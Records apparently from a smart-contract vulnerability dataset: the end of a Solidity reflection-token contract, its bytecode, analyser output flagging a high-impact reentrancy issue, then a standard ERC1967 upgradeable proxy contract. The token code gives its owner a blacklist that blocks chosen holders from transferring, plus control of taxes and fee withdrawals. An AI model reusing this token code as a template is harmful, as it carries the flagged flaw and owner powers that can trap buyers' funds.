swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 100000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setMaxHoldAmount(uint256 maxHoldAmount) external onlyOwner() {
if (maxHoldAmount > 200000000 * 10**9) {
_maxHoldAmount = maxHoldAmount;
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 2000000 * 10**9;
_maxHoldAmount = 2000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 14) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 14) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101395760003560e01c80638da5cb5b116100ab578063b515566a1161006f578063b515566a1461033f578063c3c8cd801461035f578063c9567bf914610374578063dbe8272c14610389578063dc1052e2146103a9578063dd62ed3e146103c957600080fd5b80638da5cb5b146102c2578063953c4657146102ea57806395d89b41146101455780639e78fb4f1461030a578063a9059cbb1461031f57600080fd5b8063273123b7116100fd578063273123b71461021c578063313ce5671461023c57806346df33b7146102585780636fc3eaec1461027857806370a082311461028d578063715018a6146102ad57600080fd5b806306fdde0314610145578063095ea7b31461018557806318160ddd146101b55780631bbae6e0146101da57806323b872dd146101fc57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201825260088152674b4f454c54414d4160c01b6020820152905161017c9190611994565b60405180910390f35b34801561019157600080fd5b506101a56101a036600461181b565b61040f565b604051901515815260200161017c565b3480156101c157600080fd5b506702c68af0bb1400005b60405190815260200161017c565b3480156101e657600080fd5b506101fa6101f536600461194d565b610426565b005b34801561020857600080fd5b506101a56102173660046117da565b610472565b34801561022857600080fd5b506101fa610237366004611767565b6104db565b34801561024857600080fd5b506040516009815260200161017c565b34801561026457600080fd5b506101fa610273366004611913565b610526565b34801561028457600080fd5b506101fa61056e565b34801561029957600080fd5b506101cc6102a8366004611767565b6105a2565b3480156102b957600080fd5b506101fa6105c4565b3480156102ce57600080fd5b506000546040516001600160a01b03909116815260200161017c565b3480156102f657600080fd5b506101fa61030536600461194d565b610638565b34801561031657600080fd5b506101fa610677565b34801561032b57600080fd5b506101a561033a36600461181b565b6108b6565b34801561034b57600080fd5b506101fa61035a366004611847565b6108c3565b34801561036b57600080fd5b506101fa610959565b34801561038057600080fd5b506101fa610999565b34801561039557600080fd5b506101fa6103a436600461194d565b610b64565b3480156103b557600080fd5b506101fa6103c436600461194d565b610b9c565b3480156103d557600080fd5b506101cc6103e43660046117a1565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061041c338484610bd4565b5060015b92915050565b6000546001600160a01b031633146104595760405162461bcd60e51b8152600401610450906119e9565b60405180910390fd5b67016345785d8a000081111561046f5760108190555b50565b600061047f848484610cf8565b6104d184336104cc85604051806060016040528060288152602001611b80602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061103b565b610bd4565b5060019392505050565b6000546001600160a01b031633146105055760405162461bcd60e51b8152600401610450906119e9565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105505760405162461bcd60e51b8152600401610450906119e9565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105985760405162461bcd60e51b8152600401610450906119e9565b4761046f81611075565b6001600160a01b038116600090815260026020526040812054610420906110af565b6000546001600160a01b031633146105ee5760405162461bcd60e51b8152600401610450906119e9565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106625760405162461bcd60e51b8152600401610450906119e9565b6702c68af0bb14000081111561046f57601155565b6000546001600160a01b031633146106a15760405162461bcd60e51b8152600401610450906119e9565b600f54600160a01b900460ff16156106fb5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610450565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561075b57600080fd5b505afa15801561076f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107939190611784565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107db57600080fd5b505afa1580156107ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108139190611784565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561085b57600080fd5b505af115801561086f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108939190611784565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b600061041c338484610cf8565b6000546001600160a01b031633146108ed5760405162461bcd60e51b8152600401610450906119e9565b60005b81518110156109555760016006600084848151811061091157610911611b30565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061094d81611aff565b9150506108f0565b5050565b6000546001600160a01b031633146109835760405162461bcd60e51b8152600401610450906119e9565b600061098e306105a2565b905061046f81611133565b6000546001600160a01b031633146109c35760405162461bcd60e51b8152600401610450906119e9565b600e546109e39030906001600160a01b03166702c68af0bb140000610bd4565b600e546001600160a01b031663f305d71947306109ff816105a2565b600080610a146000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a7757600080fd5b505af1158015610a8b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab09190611966565b5050600f805466071afd498d0000601081905560115563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b2c57600080fd5b505af1158015610b40573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061046f9190611930565b6000546001600160a01b03163314610b8e5760405162461bcd60e51b8152600401610450906119e9565b600e81101561046f57600b55565b6000546001600160a01b03163314610bc65760405162461bcd60e51b8152600401610450906119e9565b600e81101561046f57600c55565b6001600160a01b038316610c365760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610450565b6001600160a01b038216610c975760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610450565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d5c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610450565b6001600160a01b038216610dbe5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610450565b60008111610e205760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610450565b6001600160a01b03831660009081526006602052604090205460ff1615610e4657600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e8857506001600160a01b03821660009081526005602052604090205460ff16155b1561102b576000600955600c54600a55600f546001600160a01b038481169116148015610ec35750600e546001600160a01b03838116911614155b8015610ee857506001600160a01b03821660009081526005602052604090205460ff16155b8015610efd5750600f54600160b81b900460ff165b15610f38576000610f0d836105a2565b9050601054821115610f1e57600080fd5b601154610f2b83836112bc565b1115610f3657600080fd5b505b600f546001600160a01b038381169116148015610f635750600e546001600160a01b03848116911614155b8015610f8857506001600160a01b03831660009081526005602052604090205460ff16155b15610f99576000600955600b54600a555b6000610fa4306105a2565b600f54909150600160a81b900460ff16158015610fcf5750600f546001600160a01b03858116911614155b8015610fe45750600f54600160b01b900460ff165b15611029576000610ff6600483611aa7565b90506110028183611ae8565b915061100d8161131b565b61101682611133565b4780156110265761102647611075565b50505b505b611036838383611351565b505050565b6000818484111561105f5760405162461bcd60e51b81526004016104509190611994565b50600061106c8486611ae8565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610955573d6000803e3d6000fd5b60006007548211156111165760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610450565b600061112061135c565b905061112c838261137f565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061117b5761117b611b30565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156111cf57600080fd5b505afa1580156111e3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112079190611784565b8160018151811061121a5761121a611b30565b6001600160a01b039283166020918202929092010152600e546112409130911684610bd4565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611279908590600090869030904290600401611a1e565b600060405180830381600087803b15801561129357600080fd5b505af11580156112a7573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806112c98385611a8f565b90508381101561112c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610450565b600f805460ff60a81b1916600160a81b1790558015611341576113413061dead83610cf8565b50600f805460ff60a81b19169055565b6110368383836113c1565b60008060006113696114b8565b9092509050611378828261137f565b9250505090565b600061112c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114f8565b6000806000806000806113d387611526565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114059087611583565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461143490866112bc565b6001600160a01b038916600090815260026020526040902055611456816115c5565b611460848361160f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114a591815260200190565b60405180910390a3505050505050505050565b60075460009081906702c68af0bb1400006114d3828261137f565b8210156114ef575050600754926702c68af0bb14000092509050565b90939092509050565b600081836115195760405162461bcd60e51b81526004016104509190611994565b50600061106c8486611aa7565b60008060008060008060008060006115438a600954600a54611633565b925092509250600061155361135c565b905060008060006115668e878787611688565b919e509c509a509598509396509194505050505091939550919395565b600061112c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061103b565b60006115cf61135c565b905060006115dd83836116d8565b306000908152600260205260409020549091506115fa90826112bc565b30600090815260026020526040902055505050565b60075461161c9083611583565b60075560085461162c90826112bc565b6008555050565b600080808061164d606461164789896116d8565b9061137f565b9050600061166060646116478a896116d8565b90506000611678826116728b86611583565b90611583565b9992985090965090945050505050565b600080808061169788866116d8565b905060006116a588876116d8565b905060006116b388886116d8565b905060006116c5826116728686611583565b939b939a50919850919650505050505050565b6000826116e757506000610420565b60006116f38385611ac9565b9050826117008583611aa7565b1461112c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610450565b803561176281611b5c565b919050565b60006020828403121561177957600080fd5b813561112c81611b5c565b60006020828403121561179657600080fd5b815161112c81611b5c565b600080604083850312156117b457600080fd5b82356117bf81611b5c565b915060208301356117cf81611b5c565b809150509250929050565b6000806000606084860312156117ef57600080fd5b83356117fa81611b5c565b9250602084013561180a81611b5c565b929592945050506040919091013590565b6000806040838503121561182e57600080fd5b823561183981611b5c565b946020939093013593505050565b6000602080838503121561185a57600080fd5b823567ffffffffffffffff8082111561187257600080fd5b818501915085601f83011261188657600080fd5b81358181111561189857611898611b46565b8060051b604051601f19603f830116810181811085821117156118bd576118bd611b46565b604052828152858101935084860182860187018a10156118dc57600080fd5b600095505b83861015611906576118f281611757565b8552600195909501949386019386016118e1565b5098975050505050505050565b60006020828403121561192557600080fd5b813561112c81611b71565b60006020828403121561194257600080fd5b815161112c81611b71565b60006020828403121561195f57600080fd5b5035919050565b60008060006060848603121561197b57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156119c1578581018301518582016040015282016119a5565b818111156119d3576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a6e5784516001600160a01b031683529383019391830191600101611a49565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611aa257611aa2611b1a565b500190565b600082611ac457634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ae357611ae3611b1a565b500290565b600082821015611afa57611afa611b1a565b500390565b6000600019821415611b1357611b13611b1a565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461046f57600080fd5b801515811461046f57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202fcda4fae632b92169928f5f9e915c58d0bfdc08ca2072ef4b8672fcbfadfa2364736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,218 |
0x1643E812aE58766192Cf7D2Cf9567dF2C37e9B7F
|
/**
*Submitted for verification at Etherscan.io on 2021-06-04
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback () external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive () external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {
}
}
/**
* @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an
* implementation address that can be changed. This address is stored in storage in the location specified by
* https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the
* implementation behind the proxy.
*
* Upgradeability is only provided internally through {_upgradeTo}. For an externally upgradeable proxy see
* {TransparentUpgradeableProxy}.
*/
contract ERC1967Proxy is Proxy {
/**
* @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
*
* If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded
* function call, and allows initializating the storage of the proxy like a Solidity constructor.
*/
constructor(address _logic, bytes memory _data) payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
Address.functionDelegateCall(_logic, _data);
}
}
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function _implementation() internal view virtual override returns (address impl) {
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal virtual {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967Proxy: new implementation is not a contract");
bytes32 slot = _IMPLEMENTATION_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IClaimer {
function initialize( address owner ) external;
}
/**
* @dev Copied from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.1.0/contracts/utils/StorageSlot.sol
*/
library StorageSlot {
struct AddressSlot {
address value;
}
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
}
contract ClaimerProxy is ERC1967Proxy {
/**
* @dev Storage slot with the admin of the contract.
*
* Equals `bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1)`.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Initializes the upgradeable proxy with the initial stub implementation.
*/
constructor(address _owner, address claimerImplementation)
ERC1967Proxy(
claimerImplementation,
abi.encodeWithSelector(IClaimer(address(0)).initialize.selector, _owner)
)
{
_setAdmin(_owner);
emit AdminChanged(address(0), _getAdmin());
}
/**
* @return Returns the current implementation address.
*/
function implementation() external view returns (address) {
return _implementation();
}
/**
* @dev Upgrades the proxy to a new implementation, optionally performing an additional
* setup call.
*
* Can only be called by the proxy admin until the proxy is ossified.
* Cannot be called after the proxy is ossified.
*
* Emits an {Upgraded} event.
*
* @param setupCalldata Data for the setup call. The call is skipped if data is empty.
*/
function proxy_upgradeTo(address newImplementation, bytes memory setupCalldata) external {
address admin = _getAdmin();
require(admin != address(0), "proxy: ossified");
require(msg.sender == admin, "proxy: unauthorized");
_upgradeTo(newImplementation);
if (setupCalldata.length > 0) {
Address.functionDelegateCall(newImplementation, setupCalldata, "proxy: setup failed");
}
}
/**
* @dev Returns the current admin.
*/
function _getAdmin() internal view returns (address) {
return StorageSlot.getAddressSlot(ADMIN_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
StorageSlot.getAddressSlot(ADMIN_SLOT).value = newAdmin;
}
/**
* @dev Returns the current admin of the proxy.
*/
function proxy_getAdmin() external view returns (address) {
return _getAdmin();
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*/
function proxy_changeAdmin(address newAdmin) external {
address admin = _getAdmin();
require(msg.sender == admin, "proxy: unauthorized");
emit AdminChanged(admin, newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Returns whether the implementation is locked forever.
*/
function proxy_getIsOssified() external view returns (bool) {
return _getAdmin() == address(0);
}
}
|
